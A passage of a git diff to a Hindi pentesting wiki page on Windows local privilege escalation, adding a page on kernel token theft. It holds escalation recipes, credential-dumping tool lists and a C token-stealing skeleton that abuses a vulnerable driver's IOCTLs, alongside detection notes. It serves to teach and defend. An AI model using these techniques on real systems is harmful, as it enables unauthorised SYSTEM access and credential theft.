कर्नेल-मोड ड्राइवर से संबंधित होता है। -- यदि आप **इसे एक फ़ोल्डर के रूप में पूर्व-निर्मित करते हैं**, तो Windows बूट पर वास्तविक ड्राइवर को लोड करने में विफल रहता है। -- फिर, Windows बूट के दौरान `cng.sys` को लोड करने की कोशिश करता है। -- यह फ़ोल्डर को देखता है, **वास्तविक ड्राइवर को हल करने में विफल रहता है**, और **क्रैश या बूट को रोक देता है**। -- इसमें **कोई बैकअप नहीं है**, और **बिना बाहरी हस्तक्षेप (जैसे, बूट मरम्मत या डिस्क एक्सेस)** के **कोई पुनर्प्राप्ति नहीं है**। +- यह पथ सामान्यतः `cng.sys` kernel-mode driver से मेल खाता है। +- यदि आप इसे **पहले से ही फ़ोल्डर के रूप में बना देते हैं**, तो Windows बूट पर वास्तविक ड्राइवर को लोड करने में विफल हो जाता है। +- फिर, Windows बूट के दौरान `cng.sys` लोड करने की कोशिश करता है। +- यह फ़ोल्डर देखता है, **वास्तविक ड्राइवर को पहचानने/लोड करने में विफल रहता है**, और **क्रैश हो जाता है या बूट रुक जाता है**। +- बाहरी हस्तक्षेप के बिना (उदा., boot repair या disk access) **कोई fallback नहीं है**, और **कोई recovery नहीं है**। -## **उच्च अखंडता से सिस्टम तक** +## **From High Integrity to System** -### **नया सेवा** +### **New service** -यदि आप पहले से ही उच्च अखंडता प्रक्रिया पर चल रहे हैं, तो **SYSTEM तक का पथ** केवल **एक नई सेवा बनाने और निष्पादित करने** से आसान हो सकता है: +यदि आप पहले से ही किसी High Integrity process पर चल रहे हैं, तो **SYSTEM तक का पथ** बस **नया service बनाकर और उसे चलाकर** आसान हो सकता है: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> जब एक सेवा बाइनरी बनाते हैं, तो सुनिश्चित करें कि यह एक मान्य सेवा है या कि बाइनरी आवश्यक क्रियाएँ तेजी से करती है, क्योंकि यदि यह एक मान्य सेवा नहीं है, तो इसे 20 सेकंड में समाप्त कर दिया जाएगा। +> service binary बनाते समय सुनिश्चित करें कि यह एक valid service है या कि binary आवश्यक कार्रवाइयां तेज़ी से करता है क्योंकि यदि यह valid service नहीं है तो इसे 20s में killed कर दिया जाएगा। ### AlwaysInstallElevated -एक उच्च इंटीग्रिटी प्रक्रिया से आप **AlwaysInstallElevated रजिस्ट्री प्रविष्टियों को सक्षम करने** और **एक रिवर्स शेल स्थापित करने** की कोशिश कर सकते हैं, जिसका उपयोग _**.msi**_ रैपर के रूप में किया जाता है।\ -[रजिस्ट्री कुंजियों के बारे में अधिक जानकारी और _.msi_ पैकेज कैसे स्थापित करें यहाँ।](#alwaysinstallelevated) +From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.\ +[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated) -### High + SeImpersonate विशेषाधिकार से सिस्टम +### High + SeImpersonate privilege to System -**आप** [**कोड यहाँ खोज सकते हैं**](seimpersonate-from-high-to-system.md)**।** +**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.** -### SeDebug + SeImpersonate से पूर्ण टोकन विशेषाधिकार +### From SeDebug + SeImpersonate to Full Token privileges -यदि आपके पास ये टोकन विशेषाधिकार हैं (संभवतः आप इसे पहले से उच्च इंटीग्रिटी प्रक्रिया में पाएंगे), तो आप **लगभग किसी भी प्रक्रिया को** (संरक्षित प्रक्रियाएँ नहीं) SeDebug विशेषाधिकार के साथ **खोलने**, प्रक्रिया का **टोकन कॉपी करने**, और उस टोकन के साथ एक **मनमाना प्रक्रिया बनाने** में सक्षम होंगे।\ -इस तकनीक का उपयोग आमतौर पर **SYSTEM के रूप में चल रही किसी भी प्रक्रिया को सभी टोकन विशेषाधिकारों के साथ चुना जाता है** (_हाँ, आप सभी टोकन विशेषाधिकारों के बिना SYSTEM प्रक्रियाएँ पा सकते हैं_)।\ -**आप एक** [**कोड का उदाहरण यहाँ खोज सकते हैं जो प्रस्तावित तकनीक को निष्पादित करता है**](sedebug-+-seimpersonate-copy-token.md)**।** +यदि आपके पास ये token privileges हैं (संभवतः आप इन्हें पहले से किसी High Integrity process में पाएंगे), तो आप SeDebug privilege के साथ लगभग किसी भी process को **open** कर पाएंगे (not protected processes), उस process का **token copy** कर पाएंगे, और उस token के साथ कोई **arbitrary process create** कर पाएंगे।\ +इस technique का उपयोग आमतौर पर उस किसी भी process को चुना जाता है जो SYSTEM के रूप में चल रहा हो और जिसमें सभी token privileges हों (_हाँ, आप SYSTEM processes पाएंगे जिनमें सभी token privileges नहीं होते_)।\ +**You can find an** [**example of code executing the proposed technique here**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -यह तकनीक मीटरप्रेटर द्वारा `getsystem` में वृद्धि के लिए उपयोग की जाती है। यह तकनीक **एक पाइप बनाने और फिर उस पाइप पर लिखने के लिए एक सेवा बनाने/दुरुपयोग करने** पर आधारित है। फिर, **सर्वर** जिसने **`SeImpersonate`** विशेषाधिकार का उपयोग करके पाइप बनाया, वह पाइप क्लाइंट (सेवा) के टोकन को **प्रतिनिधित्व** करने में सक्षम होगा, जिससे SYSTEM विशेषाधिकार प्राप्त होंगे।\ -यदि आप [**नाम पाइप के बारे में अधिक जानना चाहते हैं तो आपको यह पढ़ना चाहिए**](#named-pipe-client-impersonation)।\ -यदि आप [**उच्च इंटीग्रिटी से सिस्टम में जाने के लिए नाम पाइप का उपयोग करने का एक उदाहरण पढ़ना चाहते हैं तो आपको यह पढ़ना चाहिए**](from-high-integrity-to-system-with-name-pipes.md)। +This technique is used by meterpreter to escalate in `getsystem`. The technique consists on **creating a pipe and then create/abuse a service to write on that pipe**. Then, the **server** that created the pipe using the **`SeImpersonate`** privilege will be able to **impersonate the token** of the pipe client (the service) obtaining SYSTEM privileges.\ +If you want to [**learn more about name pipes you should read this**](#named-pipe-client-impersonation).\ +If you want to read an example of [**how to go from high integrity to System using name pipes you should read this**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -यदि आप **एक dll को हाईजैक करने में सफल होते हैं** जो **SYSTEM** के रूप में चल रही **प्रक्रिया** द्वारा **लोड** की जा रही है, तो आप उन अनुमतियों के साथ मनमाना कोड निष्पादित करने में सक्षम होंगे। इसलिए Dll Hijacking इस प्रकार के विशेषाधिकार वृद्धि के लिए भी उपयोगी है, और, इसके अलावा, यदि उच्च इंटीग्रिटी प्रक्रिया से किया जाए तो यह **काफी आसान है** क्योंकि इसके पास dlls को लोड करने के लिए उपयोग की जाने वाली फ़ोल्डरों पर **लिखने की अनुमति** होगी।\ -**आप** [**Dll hijacking के बारे में यहाँ अधिक जान सकते हैं**](dll-hijacking/index.html)**।** +यदि आप SYSTEM के रूप में चल रहे किसी **process** द्वारा **load** की जा रही किसी **dll** को **hijack** कर लेते हैं तो आप उन permissions के साथ arbitrary code execute कर पाएंगे। इसलिए Dll Hijacking इस प्रकार के privilege escalation के लिए भी उपयोगी है, और ऊपर से, high integrity process से इसे प्राप्त करना कहीं अधिक आसान है क्योंकि उसके पास dlls load करने के लिए उपयोग होने वाले folders पर **write permissions** होंगे।\ +**You can** [**learn more about Dll hijacking here**](dll-hijacking/index.html)**.** -### **Administrator या Network Service से System** +### **From Administrator or Network Service to System** - [https://github.com/sailay1996/RpcSsImpersonator](https://github.com/sailay1996/RpcSsImpersonator) - [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/) - [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit) -### LOCAL SERVICE या NETWORK SERVICE से पूर्ण विशेषाधिकार +### From LOCAL SERVICE or NETWORK SERVICE to full privs -**पढ़ें:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) +**Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers) -## अधिक सहायता +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## उपयोगी उपकरण +## Useful tools -**Windows स्थानीय विशेषाधिकार वृद्धि वेक्टर की खोज के लिए सबसे अच्छा उपकरण:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Windows local privilege escalation vectors खोजने के लिए सबसे अच्छा tool:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- गलत कॉन्फ़िगरेशन और संवेदनशील फ़ाइलों की जांच करें (**[**यहाँ जांचें**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)। पता चला।**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- कुछ संभावित गलत कॉन्फ़िगरेशन की जांच करें और जानकारी एकत्र करें (**[**यहाँ जांचें**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**)।**\ -[**privesc** ](https://github.com/enjoiz/Privesc)**-- गलत कॉन्फ़िगरेशन की जांच करें**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- यह PuTTY, WinSCP, SuperPuTTY, FileZilla, और RDP सहेजे गए सत्र की जानकारी निकालता है। स्थानीय में -Thorough का उपयोग करें।**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- क्रेडेंशियल मैनेजर से क्रेडेंशियल निकालता है। पता चला।**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- डोमेन के चारों ओर एकत्रित पासवर्ड का छिड़काव करें**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh एक PowerShell ADIDNS/LLMNR/mDNS/NBNS स्पूफर और मैन-इन-द-मिडल उपकरण है।**\ -[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- बुनियादी privesc Windows एन्यूमरेशन**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- ज्ञात privesc कमजोरियों की खोज करें (DEPRECATED for Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- स्थानीय जांच **(एडमिन अधिकारों की आवश्यकता)** +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- misconfigurations और sensitive files के लिए जाँच (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Detected.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- कुछ संभावित misconfigurations की जाँच और जानकारी इकट्ठा करने के लिए (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**privesc** ](https://github.com/enjoiz/Privesc)**-- misconfigurations के लिए जाँच करें**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- यह PuTTY, WinSCP, SuperPuTTY, FileZilla, और RDP saved session जानकारी निकालता है। स्थानीय रूप से -Thorough उपयोग करें।**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Credential Manager से credentials निकालता है। Detected.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- एकत्र किए गए passwords को domain भर में spray करता है**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh एक PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer और man-in-the-middle tool है।**\ +[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- बुनियादी privesc Windows enumeration**\ +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- known privesc vulnerabilities खोजने के लिए (DEPRECATED for Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- लोकल checks **(Need Admin rights)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- ज्ञात privesc कमजोरियों की खोज करें (इसे VisualStudio का उपयोग करके संकलित करने की आवश्यकता है) ([**पूर्व-संकलित**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- गलत कॉन्फ़िगरेशन की खोज के लिए होस्ट का एन्यूमरेशन करता है (यह privesc से अधिक जानकारी एकत्र करने का उपकरण है) (संकलित करने की आवश्यकता) **(**[**पूर्व-संकलित**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- कई सॉफ़्टवेयर से क्रेडेंशियल निकालता है (गिटहब में पूर्व-संकलित exe)**\ -[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- C# में PowerUp का पोर्ट**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- गलत कॉन्फ़िगरेशन की जांच करें (गिटहब में पूर्व-संकलित निष्पादन योग्य)। अनुशंसित नहीं। यह Win10 में ठीक से काम नहीं करता।\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- संभावित गलत कॉन्फ़िगरेशन की जांच करें (पायथन से exe)। अनुशंसित नहीं। यह Win10 में ठीक से काम नहीं करता। +[**Watson**](https://github.com/rasta-mouse/Watson) -- known privesc vulnerabilities खोजने के लिए (needs to be compiled using VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- host को misconfigurations की खोज के लिए enumerate करता है (privesc की तुलना में अधिक एक gather info tool) (needs to be compiled) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- कई softwares से credentials निकालता है (precompiled exe in github)**\ +[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp का C# पोर्ट**\ +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- misconfiguration के लिए जाँच (executable precompiled in github). अनुशंसित नहीं. यह Win10 पर अच्छा काम नहीं करता।\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- संभावित misconfigurations के लिए जाँच (exe from python). अनुशंसित नहीं. यह Win10 पर अच्छा काम नहीं करता। **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- इस पोस्ट के आधार पर बनाया गया उपकरण (इसका सही ढंग से काम करने के लिए accesschk की आवश्यकता नहीं है लेकिन इसका उपयोग कर सकता है)। +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- इस पोस्ट पर आधारित tool (proper काम के लिए accesschk की आवश्यकता नहीं है पर इसे उपयोग कर सकता है). -**स्थानीय** +**Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** के आउटपुट को पढ़ता है और कार्यशील एक्सप्लॉइट की सिफारिश करता है (स्थानीय पायथन)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** के आउटपुट को पढ़ता है और कार्यशील एक्सप्लॉइट की सिफारिश करता है (स्थानीय पायथन) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** का output पढ़ता है और working exploits recommend करता है (local python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** का output पढ़ता है और working exploits recommend करता है (local python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -आपको सही .NET संस्करण का उपयोग करके प्रोजेक्ट को संकलित करना होगा ([यहाँ देखें](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/))। पीड़ित होस्ट पर स्थापित .NET के संस्करण को देखने के लिए आप कर सकते हैं: +You have to compile the project using the correct version of .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). To see the installed version of .NET on the victim host you can do: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` @@ -1616,4 +1632,6 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the - [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections) +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md new file mode 100644 index 000000000..1a53d15a9 --- /dev/null +++ b/src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md @@ -0,0 +1,122 @@ +# Windows kernel EoP: Token stealing with arbitrary kernel R/W + +{{#include ../../banners/hacktricks-training.md}} + +## अवलोकन + +यदि कोई vulnerable driver ऐसा IOCTL expose करता है जो attacker को arbitrary kernel read और/या write primitives देता है, तो NT AUTHORITY\SYSTEM तक privilege उठाना अक्सर SYSTEM access token चोरी करके हासिल किया जा सकता है। यह technique SYSTEM प्रक्रिया के EPROCESS से Token pointer को वर्तमान प्रक्रिया के EPROCESS में copy करती है। + +क्यों यह काम करता है: +- हर प्रक्रिया के पास एक EPROCESS structure होता है जो (अन्य फ़ील्ड्स के अलावा) एक Token रखता है (वास्तव में token object के लिए एक EX_FAST_REF)। +- SYSTEM process (PID 4) के पास सभी privileges enabled वाले token होते हैं। +- वर्तमान प्रक्रिया के EPROCESS.Token को SYSTEM token pointer से बदल देने पर वर्तमान प्रक्रिया तुरंत SYSTEM के रूप में चलने लगती है। + +> Offsets in EPROCESS vary across Windows versions. Determine them dynamically (symbols) or use version-specific constants. Also remember that EPROCESS.Token is an EX_FAST_REF (low 3 bits are reference count flags). + +## उच्च-स्तरीय चरण + +1) ntoskrnl.exe base को ढूंढें और PsInitialSystemProcess का address resolve करें. +- user mode से, loaded driver bases प्राप्त करने के लिए NtQuerySystemInformation(SystemModuleInformation) या EnumDeviceDrivers का उपयोग करें. +- PsInitialSystemProcess का offset (from symbols/reversing) kernel base में जोड़ें ताकि उसका address मिल सके. +2) PsInitialSystemProcess पर स्थित pointer पढ़ें → यह SYSTEM के EPROCESS का kernel pointer होता है. +3) SYSTEM EPROCESS से, UniqueProcessId और ActiveProcessLinks offsets पढ़ें ताकि EPROCESS structures की doubly linked list (ActiveProcessLinks.Flink/Blink) traverse कर सकें जब तक कि आप वह EPROCESS न मिल जाए जिसका UniqueProcessId GetCurrentProcessId() के बराबर हो। दोनों को रखें: +- EPROCESS_SYSTEM (for SYSTEM) +- EPROCESS_SELF (for the current process) +4) SYSTEM token value पढ़ें: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset). +- निचले 3 बिट्स mask कर दें: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask). +5) Option A (common): अपने current token के निचले 3 बिट्स को सुरक्षित रखें और embedded ref count consistent रखने के लिए उन्हें SYSTEM के pointer पर splice करें। +- Token_ME = *(EPROCESS_SELF + TokenOffset) +- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7)) +6) अपने kernel write primitive का उपयोग करके Token_NEW को (EPROCESS_SELF + TokenOffset) में वापस लिखें। +7) अब आपकी वर्तमान प्रक्रिया SYSTEM बन चुकी है। पुष्टि के लिए वैकल्पिक रूप से नया cmd.exe या powershell.exe spawn करें। + +## Pseudocode + +नीचे एक skeleton है जो केवल vulnerable driver के दो IOCTLs का उपयोग करता है, एक 8-byte kernel read के लिए और एक 8-byte kernel write के लिए। इसे अपने driver’s interface से बदलें। +```c +#include +#include +#include + +// Device + IOCTLs are driver-specific +#define DEV_PATH "\\\\.\\VulnDrv" +#define IOCTL_KREAD CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS) +#define IOCTL_KWRITE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, METHOD_BUFFERED, FILE_ANY_ACCESS) + +// Version-specific (examples only – resolve per build!) +static const uint32_t Off_EPROCESS_UniquePid = 0x448; // varies +static const uint32_t Off_EPROCESS_Token = 0x4b8; // varies +static const uint32_t Off_EPROCESS_ActiveLinks = 0x448 + 0x8; // often UniquePid+8, varies + +BOOL kread_qword(HANDLE h, uint64_t kaddr, uint64_t *out) { +struct { uint64_t addr; } in; struct { uint64_t val; } outb; DWORD ret; +in.addr = kaddr; return DeviceIoControl(h, IOCTL_KREAD, &in, sizeof(in), &outb, sizeof(outb), &ret, NULL) && (*out = outb.val, TRUE); +} +BOOL kwrite_qword(HANDLE h, uint64_t kaddr, uint64_t val) { +struct { uint64_t addr, val; } in; DWORD ret; +in.addr = kaddr; in.val = val; return DeviceIoControl(h, IOCTL_KWRITE, &in, sizeof(in), NULL, 0, &ret, NULL); +} + +// Get ntoskrnl base (one option) +uint64_t get_nt_base(void) { +LPVOID drivers[1024]; DWORD cbNeeded; +if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) { +return (uint64_t)drivers[0]; // first is typically ntoskrnl +} +return 0; +} + +int main(void) { +HANDLE h = CreateFileA(DEV_PATH, GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); +if (h == INVALID_HANDLE_VALUE) return 1; + +// 1) Resolve PsInitialSystemProcess +uint64_t nt = get_nt_base(); +uint64_t PsInitialSystemProcess = nt + /*offset of symbol*/ 0xDEADBEEF; // resolve per build + +// 2) Read SYSTEM EPROCESS +uint64_t EPROC_SYS; kread_qword(h, PsInitialSystemProcess, &EPROC_SYS); + +// 3) Walk ActiveProcessLinks to find current EPROCESS +DWORD myPid = GetCurrentProcessId(); +uint64_t cur = EPROC_SYS; // list is circular +uint64_t EPROC_ME = 0; +do { +uint64_t pid; kread_qword(h, cur + Off_EPROCESS_UniquePid, &pid); +if ((DWORD)pid == myPid) { EPROC_ME = cur; break; } +uint64_t flink; kread_qword(h, cur + Off_EPROCESS_ActiveLinks, &flink); +cur = flink - Off_EPROCESS_ActiveLinks; // CONTAINING_RECORD +} while (cur != EPROC_SYS); + +// 4) Read tokens +uint64_t tok_sys, tok_me; +kread_qword(h, EPROC_SYS + Off_EPROCESS_Token, &tok_sys); +kread_qword(h, EPROC_ME + Off_EPROCESS_Token, &tok_me); + +// 5) Mask EX_FAST_REF low bits and splice refcount bits +uint64_t tok_sys_mask = tok_sys & ~0xF; // or ~0x7 on some builds +uint64_t tok_new = tok_sys_mask | (tok_me & 0x7); + +// 6) Write back +kwrite_qword(h, EPROC_ME + Off_EPROCESS_Token, tok_new); + +// 7) We are SYSTEM now +system("cmd.exe"); +return 0; +} +``` +Notes: +- Offsets: सही offsets पाने के लिए target के PDBs के साथ WinDbg’s `dt nt!_EPROCESS` या किसी runtime symbol loader का उपयोग करें। अंधाधुंध hardcode न करें। +- Mask: x64 पर token एक EX_FAST_REF होता है; low 3 bits reference count बिट्स होते हैं। अपने token के मूल low bits बनाए रखने से तुरंत refcount असंगतियों से बचा जा सकता है। +- Stability: वर्तमान process को elevate करना प्राथमिकता दें; अगर आप किसी short-lived helper को elevate करते हैं तो वह exit होने पर SYSTEM खो सकता है। + +## डिटेक्शन और निवारण +- unsigned या untrusted third‑party drivers को लोड करना जो powerful IOCTLs expose करते हैं, मूल कारण होता है। +- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, और Attack Surface Reduction नियम vulnerable drivers के लोड होने को रोक सकते हैं। +- EDR suspicious IOCTL sequences के लिए निगरानी कर सकता है जो arbitrary read/write लागू करते हैं और token swaps के लिए भी देख सकता है। + +## References +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html) + +{{#include ../../banners/hacktricks-training.md}}